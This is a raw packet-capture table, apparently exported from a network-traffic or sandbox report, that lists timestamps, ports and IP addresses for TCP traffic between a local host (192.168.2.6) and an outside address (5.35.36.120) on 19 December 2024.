Dec 19, 2024 09:29:54.519129038 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.519169092 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.520162106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.520333052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.520376921 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.521291971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.521358967 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.521398067 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.522341967 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.522550106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.522592068 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.523441076 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.523673058 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.523715973 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.524543047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.524560928 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.524600983 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.525676012 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.525742054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.525784016 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.526737928 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.526819944 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.526861906 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.527857065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.527998924 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.528042078 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.528925896 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.529015064 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.529526949 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.529994965 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.530128002 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.530170918 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.531342983 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.531403065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.531596899 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.532434940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.532514095 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.532562971 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.533539057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.533679962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.533726931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.534533978 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.534626007 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.534670115 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.535609961 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.535851002 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.535895109 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.536590099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.536689997 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.536731005 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.537643909 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.537750006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.537791967 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.538758993 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.538814068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.538858891 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.539840937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.540009975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.540054083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.540936947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.541075945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.541117907 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.542042971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.542107105 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.542145967 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.543123960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.543333054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.543376923 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.544200897 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.544332027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.544373035 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.545294046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.545488119 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.545528889 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.546458006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.546674967 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.546716928 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.547492027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.547549963 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.547586918 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.548634052 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.548729897 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.548768044 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.549648046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.549776077 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.549813032 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.550774097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.550859928 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.551328897 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.551929951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.552011967 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.552050114 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.552967072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.553085089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.553122044 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.554034948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.554152012 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.554189920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.555118084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.555197954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.555236101 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.556252956 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.556391954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.556436062 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.557343960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.599210024 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.692091942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.692241907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.692337036 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.692615986 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.692724943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.692781925 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.693746090 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.693855047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.693903923 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.694744110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.694837093 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.694881916 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.695821047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.695938110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.695981979 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.696921110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.697037935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.697082996 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.698012114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.698159933 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.698203087 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.699115992 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.699279070 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.699326038 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.700202942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.700303078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.700350046 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.701282978 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.701401949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.701495886 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.702403069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.702565908 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.702608109 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.703486919 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.703599930 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.703641891 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.704574108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.704787970 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.704833984 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.705668926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.705781937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.705826044 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.706768990 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.706873894 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.707339048 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.707891941 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.707952023 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.707997084 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.708928108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.709131956 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.709197044 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.710057974 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.710201979 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.710258961 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.711174011 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.711289883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.711335897 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.712523937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.712604046 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.712658882 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.713337898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.713520050 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.713567972 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.714462042 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.714555025 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.714600086 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.715544939 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.715598106 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.715648890 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.716619015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.716753960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.716797113 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.717875957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.717971087 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.718020916 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.718807936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.718978882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.719031096 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.719891071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.719997883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.720043898 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.720994949 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.721105099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.721314907 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.722068071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.722181082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.722230911 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.723157883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.723272085 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.723325968 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.724484921 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.724577904 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.724627972 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.725370884 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.725457907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.725508928 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.726483107 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.726605892 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.726663113 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.727539062 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.727727890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.727886915 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.728768110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.728876114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.728928089 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.729819059 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.729871988 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.729928970 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.730828047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.731029987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.731074095 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.731926918 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.732064962 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.732116938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.733027935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.733167887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.733697891 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.734133959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.734255075 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.735173941 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.735228062 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.735287905 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.735330105 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.736282110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.736403942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.736495018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.737448931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.737689018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.737894058 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.738519907 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.738619089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.738676071 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.739583015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.739686012 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.739737988 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.740675926 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.740727901 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.740776062 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.741738081 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.741864920 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.741911888 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.742861986 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.743007898 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.743062973 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.743938923 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.744175911 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.744229078 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.745168924 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.745322943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.745413065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.746344090 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.746443033 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.746565104 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.747248888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.747350931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.747399092 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.748312950 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.748451948 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.748513937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.749335051 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.802331924 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.884069920 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.884349108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.884430885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.884646893 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.884701014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.885070086 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.885725021 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.885884047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.885936022 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.886804104 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.886979103 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.887028933 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.887980938 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.888025999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.888072968 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.888999939 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.889139891 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.889188051 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.890047073 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.890186071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.890227079 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.891268015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.891402960 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.891462088 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.892438889 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.892647982 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.892697096 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.893510103 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.893627882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.893677950 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.894469976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.894565105 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.895529032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.895580053 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.895622015 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.895667076 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.896682024 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.896758080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.896806955 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.897731066 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.897769928 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.897938967 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.898888111 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.899070024 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.899142981 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.899912119 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.900013924 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.901020050 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.901067972 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.901107073 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.901149035 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.902143955 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.902204990 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.903398037 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.903450012 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.903472900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.903517962 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.904441118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.904522896 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.904577971 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.905383110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.905528069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.905571938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.906461954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.906565905 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.906615973 CET	49792	7957	192.168.2.6	5.35.36.120
